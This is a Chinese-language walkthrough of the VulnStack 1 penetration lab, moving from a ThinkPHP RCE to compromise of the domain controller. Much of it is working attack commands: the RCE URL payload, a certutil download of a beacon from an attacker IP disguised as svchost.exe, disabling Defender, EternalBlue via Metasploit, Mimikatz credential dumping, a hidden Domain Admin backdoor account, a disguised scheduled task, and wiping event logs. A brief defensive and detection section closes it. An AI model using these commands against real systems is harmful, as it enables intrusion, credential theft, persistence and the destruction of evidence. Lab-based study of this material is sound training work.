红日靶场 VulnStack 1 渗透实战:从外网突破到域控提权的完整攻击链
1. 靶场环境与攻击路径概览
红日安全团队打造的VulnStack系列靶场已成为内网渗透学习的黄金标准。其中VulnStack 1模拟了典型企业网络架构:一台暴露在公网的Web服务器(Windows 7)作为跳板机,内网中存在域控制器(Windows Server 2008)和域成员服务器(Windows Server 2003)。这种"外网DMZ+内网域环境"的拓扑结构,真实还原了90%以上企业网络的部署方式。
完整的攻击链可分为四个阶段:
- 外网信息收集:通过端口扫描、目录爆破等手段定位Web应用漏洞
- 初始突破:利用ThinkPHP RCE漏洞获取Web服务器控制权
- 横向移动:以Web服务器为跳板,通过MS17-010、PsExec等技术攻陷域控
- 权限维持:创建计划任务、服务等方式实现持久化控制
# 典型网络拓扑 攻击机 Kali (192.168.150.128) │ ↓ Web服务器 Win7 (192.168.150.152[外网] + 192.168.52.143[内网]) │ ├─ 域控 Win2008 (192.168.52.138) └─ 域成员 Win2003 (192.168.52.141)2. 外网突破:ThinkPHP漏洞利用实战
2.1 信息收集与漏洞定位
使用Nmap进行全端口扫描是渗透测试的标准起手式。针对Web服务器,我们需要特别关注80、443等常见Web端口:
nmap -sS -Pn -p- 192.168.150.152 --min-rate=5000 nmap -sV -O -p80,3306 192.168.150.152扫描结果通常显示:
- 80端口运行Apache+PHPStudy环境
- 3306端口开放MySQL服务
- Web应用指纹识别显示ThinkPHP 5.0框架
ThinkPHP历史上存在多个高危漏洞,其中5.0.x版本的远程代码执行漏洞(CVE-2018-20062)是最具破坏性的突破口。该漏洞源于框架对控制器名的过滤不严,导致攻击者可以直接调用任意类方法。
2.2 RCE漏洞利用过程
通过构造特殊URL触发漏洞执行系统命令:
http://192.168.150.152/index.php?s=/Index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=whoami实际渗透中常用更隐蔽的PowerShell下载执行方式:
certutil -urlcache -split -f http://攻击机IP/beacon.exe C:\Windows\Temp\svchost.exe start C:\Windows\Temp\svchost.exe注意:真实环境中需先关闭Windows Defender实时防护,可通过以下命令临时禁用:
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"
3. 内网横向移动技术解析
3.1 权限提升与信息收集
获取Web服务器shell后,首先需要判断当前权限并收集内网信息:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 系统版本 whoami /priv # 当前权限 ipconfig /all # 网络配置 net view /domain # 域信息 arp -a # ARP缓存关键发现:
- 内网网段:192.168.52.0/24
- 域名称:god.org
- 域控主机名:OWA (192.168.52.138)
3.2 永恒之蓝攻陷域控
内网扫描发现域控存在MS17-010漏洞时,可采用以下攻击流程:
配置路由转发(通过已控跳板机访问内网):
# MSF中添加路由 route add 192.168.52.0 255.255.255.0 [session_id]使用MSF模块攻击:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.138 set payload windows/x64/meterpreter/bind_tcp exploit获取域控权限后,使用Mimikatz提取凭证:
load kiwi creds_all
3.3 PsExec横向移动
当获取到域管理员凭证后,可通过PsExec快速控制其他主机:
PsExec64.exe \\192.168.52.141 -u god\administrator -p Admin12345 -s cmd.exe横向移动技术对比表:
| 技术手段 | 适用场景 | 优势 | 风险点 |
|---|---|---|---|
| MS17-010 | 未打补丁的Windows系统 | 无需凭证 | 可能造成系统蓝屏 |
| PsExec | 已获取高权限域凭证 | 原生工具,行为隐蔽 | 会产生日志记录 |
| WMI远程执行 | 防火墙放行135端口 | 无文件落地 | 需要管理员权限 |
| 计划任务 | 需要持久化控制 | 可设置定时触发 | 需配置任务路径 |
4. 权限维持与痕迹清理
4.1 创建隐藏用户
在域控上添加隐蔽后门账户:
net user backup$ Admin@123 /add /domain net group "Domain Admins" backup$ /add /domain4.2 计划任务持久化
通过计划任务实现自启动:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svchost.exe" /sc onstart /ru "SYSTEM"4.3 日志清理技巧
清除安全日志需要注意权限问题:
wevtutil cl security wevtutil cl system wevtutil cl application对于更彻底的痕迹清理,可先停止日志服务:
net stop eventlog /y del /q /f %WINDIR%\System32\winevt\Logs\* net start eventlog5. 防御建议与攻击检测
5.1 企业防护措施
- 外网边界:对ThinkPHP等框架保持版本更新,WAF规则需包含常见RCE payload检测
- 内网防护:部署终端EDR解决方案,监控PsExec、WMIExec等横向移动工具的使用
- 域控加固:启用LSA保护,限制域管理员登录范围,定期检查异常账户
5.2 攻击检测指标
日志分析关键点:
- 短时间内大量出现Event ID 4624(登录类型3)后接Event ID 4672(特权登录)
- 安全日志中出现Event ID 4688(新进程创建)执行certutil、powershell等下载行为
- Sysmon日志中的PsExec父进程异常(正常应来自sysinternals目录)
网络流量特征:
- SMB协议中出现NTLM认证请求后接大量IPC$共享访问
- 内网主机向未知IP发起反向连接(Beacon心跳通信)